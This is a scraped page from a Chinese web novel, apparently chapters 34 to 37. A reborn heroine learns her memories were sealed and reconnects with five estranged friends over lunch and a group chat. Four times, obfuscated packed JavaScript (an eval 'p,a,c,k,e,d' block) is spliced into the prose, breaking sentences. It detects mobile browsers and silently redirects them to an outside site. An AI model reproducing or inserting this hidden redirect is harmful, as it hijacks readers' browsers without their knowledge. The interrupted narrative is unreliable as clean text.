“怎么忘得掉嘛。”白佳果自言自语似的摸了摸那渊的脑袋，揉揉脸颊捏捏耳朵，五指插入白色的短卷发，就算用力抓一下也只会听到那渊的笑声。 白佳果哄好了他们俩，看似一切如常的宿谬竟然也来凑热闹，在他最后一次给她辅导功课的时候，突然说：“有时候会羡慕那渊，能直接表达对你的不舍。” 白佳果点点头：“懂你意思，你现在这句话是在委婉表达对我的不舍。” 宿谬在长久的沉默后，微不可闻地“嗯”了一声。 白佳果震惊：“居然承认了。” 宿谬：“你可以当没听见。” 白佳果：“什么没听见，我听见了！” 宿谬实在不习惯这样赤裸地表达自己的心情，于是转移话题：“你还会回来吗？” 白佳果：“肯定会啊，到时候给你们带礼物。” 宿谬：“你那个世界的礼物？” 他们已经知道白佳果来自另外一个世界，那个世界没有魔法，比这里更加适合她。 “嗯，”白佳果说，“我都已经想好要送什么了。” 宿谬：“那我稍微期待一下，希望你别让我等太久。” 依旧是委婉的“希望你快点回来”的表达。 双胞胎不像纷赫琳直白，也不像那渊反应那么大，更没有像宿谬含蓄地表达自己的不舍，而是反客为主，说他们会想念白佳果，让白佳果也记得想他们。 白佳果拍拍他们的肩膀：“放心吧，你们五个，我会每天轮流想一遍的。” 少络听，泄气：“为什么在这方面那么迟钝……” 少络望：“我弟说的‘我们’，是指我和他，不包括别的人——特别是那头蠢龙。” 白佳果拧起眉，想让他们别再说那渊坏话，又听见他们说：“等你再回来，我们带你去缭城玩。” 缭城是双胞胎的故乡，也是相当有名的水下城市之一。 白佳果父母被困的古遗迹也在水下，那地方离缭城很近，但白佳果没有去过缭城，因为双胞胎不让。 白佳果：“不是不让我去吗。” 双胞胎对视一眼，笑了笑，那笑容带着白佳果不理解的喜悦：“等你回来，应该就能去了。” …… 有这样的记忆作为铺垫，白佳果无论如何都不会相信，在她回来后，五人组会突然像变了一个人，对她避之不及。 所以她去学校找他们。 在办理入校登记时，她遇见纷赫琳，纷赫琳将她带去双胞胎在校外的住所。 在那里，少络听对她口出恶语，她难以置信自己会听到这样的话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852767|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回家后第二天便离开了魔法世界。 不对……不对不对不对！全都不对！ 白佳果捂住自己隐隐作痛的头，她能清晰地感知到自己的记忆还有不对劲的地方。 她不可能因为少络听的几句话，就这么轻易地离开魔法世界，这期间一定还发生了什么，可她想不起来，她怎么都想不起来！ “佳果小姐！”空想雅急忙按了床头的呼叫铃，医务老师赶来，先用了镇定止痛的魔法药剂，又给白佳果做了细致的检查。 得出的结果跟空想雅之前的检查一样，毫无异常。 “我确信我的记忆出了问题，为什么会检查不出来？”白佳果问医务老师。 医务老师：“记忆方面的检查比较敏感，查太深了容易侵犯病人的隐私，也容易对医生造成精神层面的伤害，所以基础检查只能确保你的记忆没有出现频段不同的伪造片段或奇怪的断点。” “奇怪的断点是什么意思？”白佳果问。 医务老师从口袋里拿出一支笔，笔尖在空气中画出一条绿色的光线。 “假如这是你的记忆。”医务老师笔尖动了动中间的一小段，把那一小段从直线改成小波浪：“这是伪造的内容，因为不是天然产生的记忆，频段会有明显的不同。然后——” 医务老师划了两下，直线断开三截，断口处有明显的切痕：“这是断点，再怎么衔接，检查时也会出现不自然的卡顿。出现断点，说明你的记忆被人切割过，同时意味着你的记忆可能被删除掉一部分，或者被移植了伪造片段。” “但你完全没有这些问题。” 白佳果盯着那条绿色的光线，思索片刻后问：“如果我想不起来的那部分记忆，没有被删除呢？” “没有被删除？”医务老师想了想：“那可能是……” 医务老师挥了挥手中的笔，把乱七八糟的光线全部擦掉，重新画了一条直线。 她在直线上画了个小圈，小圆圈展开，变成透明的光球，将其中一段线包裹起来。 “没有断点反应，也没有持续的异常频段，但想不起来，那就只能是被封印了记忆。通俗一点来讲，就是将你的记忆锁起来，允许医疗检查的魔力从表面经过，但不允许任何人进行深层读取。”医务老师将笔收起来，双手插进口袋：“如果真是这样的情况，我个人建议是不要通过外力进行解锁，容易对记忆造成损伤。” “那就这样，永远想不起来吗？”白佳果问。 “怎么可能永远想不起来。”医务老师笑着说道：“记忆没有被删除，而且检查的魔力能通过，说明记忆被锁的程度有限，重复的刺激总能把锁突破，除非再下一道思维墙，阻止你进行相关内容的联想和刺激，不然迟早会有想起来的一天。” 墙。 对应上了。 “好，我知道了，谢谢你老师。”白佳果向医务老师道谢。 医务老师离开病房后，空想雅对白佳果说：“我此前并未在您身上发现有思维墙。” 从白佳果来到魔法世界至今，空想雅多次替白佳果检查身体，还有专门的家庭医生也进行过检查，从未发现有墙。 白佳果：“……有。” 她身上有墙，而且还是得深入灵魂检查，否则不会被发现的墙。 如果不是因为时间囚徒的诅咒，她请斯笛墨替她检查灵魂，她恐怕到现在都不会发现那面墙的存在。 35.第三十五章 “回去再说吧。”病房外有学生经过，白佳果停下话头，准备先离开校医楼。 空想雅替她拿起床边柜子上的书和手机：“要先去吃午饭吗？” 白佳果掀开被子下床穿鞋：“我暂时没什么胃口。” 空想雅想起来：“送您来这里的学生让我等您醒了提醒您，给他们发个信息——就是昨天在异空间和您一块的那几位。” 白佳果停顿几秒：“我知道了。” 白佳果穿好鞋子，接过空想雅递来的手机。 五人组里，她目前只有纷赫琳的联系方式，虽然那渊给过她两个手机号，但写手机号的小纸条早不知道被她放哪去了。 她点开聊天界面，给纷赫琳发去一句：【我醒了】 又加上一句：【谢谢你们送我来校医楼。】 发出去没一会儿，白佳果刚站起身，便收到了回复：【还有哪里不舒服吗？饿不饿？我还有十分钟下课，想吃什么我去食堂给你带！】 白佳果不知道该怎么回复，如果是想起那些记忆之前，她会毫不犹豫地拒绝，但现在…… 白佳果一边往病房外走，一边编辑文字，来回删除编辑数次，终于发送出去：【我没事，也不饿，我准备回去了。】 教室里，低头偷偷看信息的纷赫琳眨了眨眼，因为收到白佳果的信息而翘起的嘴角蓦地一滞。 下一秒，手机再次震动，聊天界面上跳出一句：【你明天中午有时间吗？要不要一起吃饭？】 方才凝固的嘴角顿时扬起更大的弧度，纷赫琳高高兴兴地回复一句：【好！】 纷赫琳左边是双胞胎，右边侧后方隔着一条过道的位置上坐着那渊和宿谬。 他们五个人虽然同班，但关系很差，上课从来没坐那么近过。即便是白骨林事件那会儿，他们经常去图书馆，也是分开去的，到了地方还要用视觉混淆咒，不想被同班同学看见他们凑一块。 今天居然坐这么近，很难不令同学们惊讶。 但那渊现在没工夫管别人想什么，他注意到纷赫琳拿手机在发信息，对着屏幕的脸上满是笑意，整个人都快飘起来了。 “她是不是在跟白佳果聊天？”那渊问宿谬，语气酸不溜秋。 专心上课记笔记的宿谬：“下课就知道了。” 那渊：“万一她不说呢？” 宿谬：“你多挑衅她几次，她会跟你炫耀的。” 那渊咬牙：“行。” 宿谬猜对了一半，下课后纷赫琳果然主动告诉他们白佳果发来信息，说她已经回家了。 那渊：“你们聊了很久，应该还聊了别的吧。” 纷赫琳一脸嫌恶：“女孩子聊天少打听。” 纷赫琳硬是闭严了嘴巴，没把白佳果约她明天中午吃饭的事情告诉那渊宿谬，也没告诉双胞胎，生怕这几个碍眼的东西来捣乱。 另一边，白佳果回到家，没有继续休息，而是翻出纸笔，尽可能详细地复盘上辈子发生的事情。 昨天斯笛墨替她除掉思维墙后，她也试过对上辈子的事情进行回忆，看看谁最有可能往她的灵魂上设墙，回忆到一半因为那渊来体育馆被打断。 这次重新来过，她连课都没去上，就这么花了大半天的时间，从中午到下午，再到晚上，把上辈子来魔法世界那一年的经历用时间轴一一列出来。 期间她又陆陆续续想起一些和五人组相处的细节，但她不确定是时间过去太久忘记的，还是因为记忆被人动了手脚。 她刚复盘完，身后响起敲门声，白佳果一边把自己目前的疑问罗列出来，一边高声回应：“门没锁。” 房间门被人从外面打开，门口传来她大伯的声音：“白佳果。” 被同龄人喊全名和被长辈喊全名，是两个概念。 白佳果一个激灵，放下笔，往后看，就见她大伯站在房间门口，没什么表情地望着她。 “你不是明天早上才回来吗。”白佳果推开椅子，看大伯没有要进她房间的意思，起身走向门口。 原本还沉浸在上一段思考的大脑飞速切换模式，开始寻思自己做了什么惹大伯不高兴。 泛理将白佳果困惑的模样收入眼中，问她：“不饿吗？” 白佳果终于想起，自己只吃了早饭，午饭因为记忆震荡没胃口，晚饭因为专心复盘顾不上。 空想雅好像还提醒过她几次，但她每次都因为不想中断自己的思路，回复说：“好，我等一下再吃。” 结果一等等到了现在。 饿了一天的肚子也在拥有存在感后开始为自己鸣不平。 白佳果后知后觉：“好像……是有点饿。” 她心虚地停下脚步，不敢看泛理。 泛理叹了口气：“出来吃饭。” 说着便朝走廊右侧走去，那里不是最近的楼梯或电梯，但有一间圆厅，窗户环绕半周，窗外风景也不错，离得还近。白佳果不想在房间里吃饭也不想大老远去楼下餐厅的时候，就会到那里吃饭。 “来了来了。”白佳果跟上泛理的脚步，走出房门又折回去，拿上她做时间轴的笔记本。 来到圆厅，空想雅推来餐车，白佳果面前摆上她爱吃的中餐，泛理面前依旧是简单的一杯血。 因为白佳果实在太饿，埋头干饭，这一餐吃得很安静。 吃完换上水果和甜点，白佳果咔嚓咔嚓地咬着切成小块的哈密瓜，听泛理问她：“今天早上有人找你问话了？” 白佳果：“嗯，校长也在，说是负责调查异空间的专案组。” 泛理：“八成是神防办的人。” “神防办？”白佳果第一次听说这个部门。 泛理：“神系防治办公室，一个多部门协调的机构，之前煅嘉以的事件牵扯到邪神，也有神防办的人插手参与。” “唔……居然还有这种机构。”白佳果又吃了一块哈密瓜：“他们怀疑我爸妈和往异空间投放神族残片的人有关联。” 泛理：“他们谁都怀疑，向来喜欢用最大的恶意去揣测他人，问起话来比较尖锐，如果有让你觉得冒犯的地方，跟我说，我替你投诉。” 白佳果突然有种回到小时候的错觉，因为父母不在身边，总让人误以为她很好欺负，吃了亏也不会有人管，实际外公外婆的性格一个比一个刚，一个比一个倔，护她跟护小鸡崽儿似的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869081|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁敢欺负她都得被叨一口。 “虽然但是……”白佳果笑出了声，“这也是他们的工作嘛，投诉就不用了，我是想说，这件事会对你有什么影响吗？” 泛理愣了一下：“会有，但不是什么大问题，能解决。” 白佳果点点头：“那就好。” 泛理：“你之前饭也不吃，是在做什么？” 白佳果吃哈密瓜被甜得嗓子痒，喝了口水：“我整理了一下上辈子来魔法世界的经历。” 泛理过了两秒才反应过来这个“上辈子”是什么意思，让空想雅到圆厅外面看着，不让任何人靠近。 上辈子…… 泛理施放隔音反窥视的结界，问：“你这辈子是从什么时候开始的？” 白佳果放下小叉子：“过来这边的几天前。” 她简单讲述了上辈子的死亡时间和死亡原因，又讲了她记忆被动手脚，斯笛墨在她灵魂里发现思维墙，然后今早她又恢复了一些记忆的事情。 “我不知道我的死跟我记忆出问题有没有什么关联，但我两件事都想弄清楚。” 泛理眉头紧蹙：“我会让人去查你说的眼球戒指，还有你那几个同学，在没确定他们是不是会给你带来危险之前，你离他们远点。” “不行。”白佳果一票否决，“我还想多接触接触他们，看看能不能刺激记忆，再想起点什么。” 说是这么说，可一想到实施过程，她又有些萎靡，慢慢趴到了桌上。 泛理：“怎么了？” 白佳果整个人都是蔫的：“我想知道究竟发生了什么，但我不知道该怎么面对他们。” 别看她回复纷赫琳的信息还算自然，实际根本拿不准要用什么样的态度去和他们相处。 白佳果方才讲述了自己记忆方面的问题，但对自己跟五人组的友谊，她并未讲得很详细，看泛理无法理解，她轻声道：“他们曾经是我最好的朋友，如果我的记忆没出问题，我绝对不会相信他们说的那些不把我当朋友的话。我一定会刨根问底，找到他们这么对我的原因。而不是因为他们，再也不愿意来这边的世界，还在重生后离他们远远的。” 现在突然又要接触，不仅尴尬，还很别扭。 而且他们还是记忆中的模样，可她呢，她又不是真的十八九岁，那些多出来的岁月，那些被锁住记忆、设立思维墙导致的错误认知，切切实实地影响了她七年。 泛理：“所以你不喜欢交朋友？” 这不仅是泛理观察到的，也是白佳果自己承认的，在弥蕴珐的葬礼结束，与尤茵对峙时，白佳果说她不喜欢交朋友，因此察觉到自己无法拒绝尤茵的行为很异常。 白佳果抬头：“你问得也很尖锐啊。” 泛理：“抱歉。” 白佳果坐起来，想了想自己上辈子第二次——也是最后一次从魔法世界回来后的反应：“怎么说呢，经历过这种事情，很难不产生自我怀疑吧。” “就算一开始只是为了额外学分，那在之后的相处中，难道我就没有丝毫的优点让他们愿意把我当成朋友吗？一点都没有吗？” “我曾对这个问题，耿耿于怀。” 36.第三十六章 弥蕴珐留下的笔记里曾提到，时间囚徒能控制自己重生的时间点。 就如同第一任时间囚徒向时间女神许下愿望那般，她想回到父母健在的童年，于是她回到了小时候。 弥蕴珐问过柯行，如果再重生一次，她最想要回到哪个时间，柯行说她已经很久没有刻意控制过自己重生的时间点，这种情况下，诅咒会主动将她带到潜意识里最想回去的时间。 看到笔记上这部分内容时，白佳果就发现，她似乎比自己想象的，还要介意那段与魔法世界有关的过往。 不然也不会第一次重生，就重生在来魔法世界的前几天。 “那就不要勉强自己，离他们远一点。”泛理再次提议，希望白佳果不要以身犯险，时囚只是能重生，不是体会不到痛苦。 白佳果也再一次拒绝：“不要。” 虽然没想好该怎么面对，但总会有办法的，白佳果想。 第二天上午，白佳果十点钟的课。 她早早来到教室，心里记挂着中午要跟纷赫琳一起吃饭，心情紧张又纠结，肉眼可见地坐立不安。 她想着要不要给自己下一剂猛药，直接跟那渊他们一块上课算了，找出魔法阵专业一年级二班的课表，又觉得这药太猛，容易把自己药死。 白佳果心里的小人开始尖叫打滚，就在这时，一块上课的弥悬过来找她。 昨天晚饭后，白佳果没有马上回房间，而是吃太饱在家里散了散步，顺便看看手机，把没回复的消息给回复了，其中就有弥悬听说她进校医楼而发来的关心问候。 眼下弥悬找过来，开口又是：“你还好吗？” 白佳果：“嗯，完全没问题。” 弥悬：“可你看起来不像没问题的样子。” 白佳果焦虑得太明显了，弥悬很难当做没看到：“如果你因为异空间的遭遇，被不好的情绪困扰，比如恐惧、阴影之类的，你可以找我帮忙。” “找你帮忙？”白佳果好奇：“怎么帮？” 弥悬笑笑：“我能替你把情绪吃掉。” 早前白佳果被人挟持去白骨林，那会儿他便想说，但又怕冒犯——他的能力是吃掉别人的情绪，如果遇到了什么糟糕的事情，或者目睹了血腥的现场感到不适，他都能提供帮助，为身陷苦恼的人吃掉情绪，恢复平静。 他不缺学分，也是因为他的能力非常好用。 无论是学校还是社区的免费心理疏导中心，亦或者警方那边需要安抚受害者、击破受审讯嫌疑人的心理防线，都有用得上他的地方。 也是因此他在刚认识白佳果的时候有过好奇：作为无法使用魔法的人，白佳果的情绪吃起来和其他人有什么区别。 不过现在比起好奇，他更想替白佳果分忧，让白佳果不要因为那些不好的经历，留下阴影影响生活。 白佳果确实不想为注定要到来的事情提前焦虑上一整节课，于是她问：“焦虑的情绪也可以吗？” 弥悬：“当然。” 白佳果正襟危坐：“怎么吃？” 白佳果认真严肃的模样很可爱，弥悬在她旁边的位置上坐下，朝她伸出自己的一只手：“一般只需要我使用能力，而你在我的视线内就可以，但因为入学禁制，你得握着我的手，我才可以对你施展能力。” 入学禁制不仅会施加在那渊这样破坏力极强的龙族身上，魔族学生的天赋能力如果太危险，也会被上禁制。 白佳果抬起手，试探着搭在对方掌心：“这样？” 白佳果的手比他的小很多，指甲修剪成圆润的形状，指腹柔软且温度比他高一些。 弥悬：“……嗯。” 弥悬第一次发现，自己似乎也有不专业的时候。 他拉回自己的注意力，用能力吞下了白佳果的情绪。 弥悬平时看着像个人族，只要不展开骨翼，便没有半点魔族的特征，没有犄角也不是横瞳，眼睛虽然是深紫色的，但因为颜色太深，又戴了眼镜，跟黑色没区别。 唯有在使用能力的时候，气场上会出现微妙的变化，眼底泛起紫光，让人意识到他确实是个魔族。 情绪被吃掉的体验很神奇，就那么一下子，白佳果整个人都被清空了。 “感觉……真不错。”她说。 如果是阴影或恐惧，只要清空情绪，不去重复回忆，时间长了印象就会变浅，但焦虑不一样，焦虑意味着有问题需要去解决，所以弥悬特意提醒白佳果：“如果导致情绪出现的源头不能遗忘或者解决，情绪会随着时间重新滋生。” 虽然焦虑还会滋生，但对白佳果来说已经够了，毕竟午饭就约在两个小时后。 等到下课，白佳果收拾好东西，前往昨天跟纷赫琳约好的见面地点。 她们没有选在学校食堂吃饭，而是挑了一家校外的餐厅。 那是一家藏得比较深的老店，离学校近东西又好吃，价格也不贵，因为比较难找人还不多。 白佳果上辈子跟纷赫琳来吃过，纷赫琳特别喜欢菜单上的一道土豆泥炸鸡块，美味程度能在她们一起吃过的店里排上前三。 但这辈子的纷赫琳还没来吃过，这次是第一次来，点餐的时候没点土豆泥炸鸡块，白佳果想了想，还是说：“土豆泥炸鸡块挺好吃的，你要试试吗？” “好啊。”纷赫琳听从白佳果的推荐，点了一份土豆泥炸鸡块，“不过真没想到学校附近会有这么一家店，你是怎么找到的？” 白佳果：“我大伯和我说的，他上学那会儿来这家店吃过。” 这话半真半假。 确实是泛理，但是是上辈子的泛理得知白佳果跟朋友到处探店找美食，所以才和白佳果提了这家店。 “能开这么久，味道一定很不错。”纷赫琳脸上的笑容简直比外头的阳光还要灿烂，话也更加多起来，根本不给气氛冷下来的机会。 白佳果的忐忑也慢慢消散，跟曾经的好友重新认识，似乎没有她想象得那样困难。 两人边吃边聊，要说有什么和上辈子不一样，大概就是白佳果的话明显少很多，给出的回应也和上辈子不大一样。 比如上辈子纷赫琳因为能力不稳定在课上出了糗，感到丢脸，那时刚成年的白佳果还不擅长安慰，但会想办法拐弯抹角地哄她开心。 这辈子两个人关系没那么知根知底，纷赫琳把自己的糗事拿出来分享，玩笑着说：“天啊，真的好丢脸。” 她知道纷赫琳没有表现出来的那么轻松，就拿没用过的叉子插了个鸡块，递到纷赫琳面前。 纷赫琳眨了眨眼，低头咬下鸡块，接受了投喂。 本意是让对方把叉子接过去吃的白佳果：“……” 也行吧。 白佳果放下叉子，换回筷子，直接说：“没什么丢脸的，一次小小的失误而已，我们都知道你有多厉害。” 面对不一样的回应，上辈子的纷赫琳会在被哄后抱着白佳果不撒手，这辈子的纷赫琳：“佳果……” “嗯？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884150|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >纷赫琳：“你能再喂我吃一口吗？” 白佳果沉默地看着她。 纷赫琳：“一口！就一口！” 白佳果只好拿起叉子，又给她插了个鸡块。 纷赫琳高高兴兴地一口咬下，喜悦的心情还没来得及细细品尝，就在看到白佳果身后的不速之客时，黑下了脸。 白佳果疑惑地扭头，就发现那渊站在身后不远的位置，旁边是左顾右盼看似在找空位的宿谬。 但店里人本来就不多，空位哪里需要找，分明就是心虚，不敢对上她们的视线！ 纷赫琳想着，吐出一句音量不大，但他们绝对能听到的评价：“我看到了什么，两个变态跟踪狂。” 那渊本来就因为白佳果投喂纷赫琳羡慕的眼睛都红了，闻言三步并作两步，来到她们所在的卡座旁：“我们才不是……” 紧随其后的宿谬按住那渊的肩膀，制止他说下去，并且反问纷赫琳：“你说的，是你后面那两个人吗？” 话落，白佳果跟纷赫琳一同转头看向纷赫琳背后的座位，正对上双胞胎探出来的蓝灰色脑袋。 精彩。 白佳果心想，这下人全齐了。 # 纷赫琳拒绝让四个男生和她们坐一块，双胞胎跟那渊宿谬也不想和对方坐一块。 最后的结果是，双胞胎依旧坐在纷赫琳背后的座位，那渊跟宿谬则坐到了白佳果背后的座位。 六个人，分三个卡座。 但继续说话聊天的只有纷赫琳跟白佳果，宿谬点餐，双胞胎和那渊翻出了早已沉底的五人组群聊，在那个名为“搞清楚就解散”的群里互相谴责对方—— 【我是龙：两个变态跟踪狂@大少@小少】 【大少：你不也是】 【小少：两个变态跟踪狂@第六法则@我是龙】 【我是龙：别把我们跟你们混为一谈，我们才没有跟踪白佳果】 【大少：我们也没跟踪白佳果】 【小少：我们跟踪的是纷赫琳】 【大少：她从昨天中午开始就奇奇怪怪的，一直到今天早上都不太对劲】 【小少：作为同在异乡的亲戚，出于关心跟来看看】 【大少：多正常】 【小少：多正常】 双胞胎两个人，说同一件事打字速度有明显加成。 【我是龙：呵，谁信谁傻逼】 【小少：你们跟踪的是现在坐在吧台的学校管理员？】 点完餐的宿谬看了眼群聊，进行打断，不让话题往这个方向继续发展。 【第六法则：这个群怎么还没解散？】 【大少：忘了】 【小少：现在解散还来得及】 【你们怎么知道我有佳果好友：赶紧解散，吵死了】 几秒后。 【土豆泥炸鸡块好吃：等等，五分钟后再解散】 那渊先是被纷赫琳改的第一个昵称酸到，又被纷赫琳改的第二个昵称唤醒方才白佳果对别人进行投喂的记忆，烦躁地发了一句—— 【我是龙：纷赫琳，你昵称改来改去烦不烦？】 纷赫琳发个兔子微笑着比骂人手势的表情包，一秒后撤回，接着聊天界面弹出提示条，是纷赫琳往群里拉了个人。 【“土豆泥炸鸡块好吃”邀请“白佳果”加入了群聊】 群里顿时安静下来，又过了几秒。 【“我是龙”修改群名为“不许解散这个群！！！”】 37.第三十七章 白佳果一开始没有想要进群。 纷赫琳的手机响个不停时，她也没意识到那是来自五人组群聊的信息，她看纷赫琳拿起手机，对着屏幕眉头紧皱，还问她是不是有别的事情要忙。 纷赫琳连忙否认：“当然不是！” 她说着，点开手机发了什么，抬头对上白佳果疑惑的表情，又低头看看群聊里的内容，干脆把白佳果邀请到了群里。 一是想证明自己没有别的要紧事，刚刚的动静全是来自这个群聊的垃圾信息，二是让白佳果看看垃圾信息的内容——她贴心地勾选了“分享聊天记录”，这样白佳果就能看到她进群之前的聊天内容。 纷赫琳觉得，白佳果看了内容就会知道，那四个男生有多糟糕。 变态跟踪狂，四个。 白佳果在纷赫琳的示意下拿出手机，看到被那渊改名的群聊，一阵恍惚。 是上辈子加过的，他们六个人的群。 白佳果看了一下最近的聊天记录，得知双胞胎真是跟踪纷赫琳过来的，那渊和宿谬跟的则是学校管理员。 因为昨天刚整理完上辈子的记忆，白佳果结合时间以及“学校管理员”这一关键词，瞬间想到了上辈子发生过的事情。 上辈子他们在双月期出游结束后，提前返校完成剩下的义务劳动。 负责给他们安排劳动内容的管理员是个温和的老太太，他们还曾帮管理员老太太找寻过她丢失的保温杯。 不过跟踪管理员又是怎么回事？ 白佳果敲字在群里问：【为什么要跟踪管理员？】 打算等白佳果看完群聊信息就一块退群的纷赫琳抬起头，看向少络听提到的吧台，果然在那看到了管理员的身影。 这家店是开放式厨房，吧台后面就是厨师忙碌的身影。 管理员老太太似乎跟厨师很熟，厨师把餐点放到她面前的时候，两人还说笑了几句。 群里，那渊看是白佳果发问，不管宿谬一路的阻拦，直接回答：【不是跟踪不是跟踪】 【我们是想找管理员问问二十八年前的应索雕像有没有出现什么异常情况。】 二十八年前，应索雕像。 白佳果一下子就听明白了：【你们想找到二十八年前往异空间投放神族残片的信徒？】 应索的日记里提到，他在二十八年前发现幽魂出现异常，并确定幽魂的异常与神族残片有关。 那之后应索不断向外求助，通过雕像往异空间外面扔信件物品，甚至还有附着在物品上的灵魂碎片，可惜没有得到任何回应。 那么问题来了，那些通过雕像扔出来的东西，去哪了？ 学校的监控录像不可能保存二十八年这么久，那么唯一可以询问的，就是在校任职多年的管理员。 【我是龙：对】 【大少：为什么不直接问？】 【小少：特地跟踪管理员到这？】 【我是龙：我为什么要回答你们】 【我是龙：@白佳果，不是说你，你想知道什么我都告诉你】 宿谬看着群聊，发现每次那渊碰上白佳果，他都很想叹气。 【第六法则：昨天去问过，管理员不肯说，今天想再试试，就这么简单。】 找出信徒是宿谬的想法，那渊作为发小选择和他一起，跟群里其他人没关系。 偏偏这件事牵扯到白佳果的爸妈，以至于白佳果有点好奇他们能从管理员那里得到什么线索。 宿谬并不着急，他先和那渊一块吃完了午饭，另一边，吧台前的管理员用完了自己的餐点，端着茶水，一边喝，一边跟没事做的厨师闲聊。 群里—— 【大少：@第六法则 你们到底去不去啊】 【小少：不敢去可以直接说】 双胞胎不知道为什么，也在看热闹。 【第六法则：@大少@小少你们再点些吃的，把厨师引开。】 【大少：为什么要我们点？】 【大少：你自己要问的，自己点。】 【第六法则：那我等你们走了再去。】 双胞胎没有再回复，但白佳果听见纷赫琳背后传来一声非常不爽的“啧”。 过了一会儿，店里唯一的服务员走到双胞胎的座位前，问他们还需要什么。 白佳果很意外双胞胎会选择妥协，他们居然不只是单纯地想看热闹，而是真的对当年发生的事情感兴趣。 双胞胎下单后，厨师又忙碌起来。 失去聊天对象的管理员没有就此离开，而是喝着茶，慢慢消磨午后的时光。 管理员的外表看起来有六十岁左右，斑驳的白发打理地非常整齐，身上穿着白色立领短袖衬衫，下身穿黑色长裤，身材高高瘦瘦，虽然皮肤因年迈而松垮皱巴，但她身姿挺拔，精气神很足。 比临近期末学海挣扎的学生更有朝气。 宿谬起身朝她走去，白佳果没听见他们在说什么，一番交谈后，宿谬回来坐下，双胞胎在群里催促他说结果。 【第六法则：我可没承诺过会把得到的线索告诉你们。】 白佳果心想，这很宿谬，而且考虑到双胞胎曾在异空间伸出过援手，宿谬必然还会把局面拉回来。 就像白佳果出于对他们的了解所预测的那样，宿谬不等双胞胎发作，气完人又装模作样地补上一句：【当然，如果你们想帮忙，我也很乐意和你们分享方才我跟管理员说了什么。】 双胞胎没回复，毕竟他们俩也是有脾气的。 反倒是纷赫琳，她察觉到白佳果的在意，在群里问：【帮什么忙？】 宿谬往群里发了一张照片：【管理员说，如果能替她找回这个，她可以把二十八年前的管理员日志借给我们看。】 照片上是一只保温杯。 正是上辈子他们替管理员找回来的那只保温杯。 这对白佳果而言，简直是送分题，但对此刻的宿谬来讲，这是一个难题，因为—— 【土豆泥炸鸡块好吃：那么简单，挂寻物启事呗？】 【第六法则：前提就是不能挂寻物启事，不能让太多人知道，得我们自己想办法找。】 【第六法则：杯子是双月期之前丢失的，丢失范围大概率在学校，管理员宿舍找过了没有。考虑到管理员的工作性质，我们恐怕得在全校范围内进行寻找。】 双胞胎那边传来异口同声的嗤笑。 【大少：所以】 【小少：你只是需要我们的帮助】 【大少：而不是真的愿意跟我们分享线索】 【我是龙：不然呢？】 为了避免他们在这家老餐馆打起来，白佳果在群里说道：【我好像在图书馆看到过跟这个很像的杯子。】 纷赫琳抬头，看向对面的白佳果：“真的？” 白佳果点头。 “那我们现在就去？”纷赫琳提议的同时，已经站了起来。 白佳果指向纷赫琳身后，迟疑道：“他们刚点了吃的。” 白佳果说的他们，是指双胞胎。 毕竟刚刚是他们点餐引开了厨师，就这么丢下他们，似乎不大好。 纷赫琳直接转身，越过卡座的靠背，对双胞胎说：“丢下你们咯。” 双胞胎动作一致地挑了挑眉：“你试试？” 他们这会儿已经快忍耐到极限了，要没有白佳果的迟疑，他们绝对会不管不顾地开始发疯，宁可把找到的保温杯毁掉，也不会让其他人如愿。 ——利用完就扔，真当他们是软柿子吗。 白佳果起身走到纷赫琳身边，趴在靠背上问他们：“你们准备在这里吃完，还是打包带回去？” 双胞胎，异口同声：“在这里吃完。” 那渊隔着座位听到他们的回答，刚想在群里发一条“谁有那个闲工夫等你们”，就听见白佳果说：“那等你们。” 那渊把输入框里的文字删掉，既然白佳果说等，那就等等好了。 白佳果直接在纷赫琳身边坐下，一副真要等他们的样子，纷赫琳无所谓，因为她发现这样挨着白佳果坐比刚刚面对面坐好多了，所以她不介意再待一会儿。 双胞胎对视一眼，又看看手机，确定没人反对，再次按下呼叫铃，让店员过来，说要把刚刚点的东西全部打包带走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898138|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 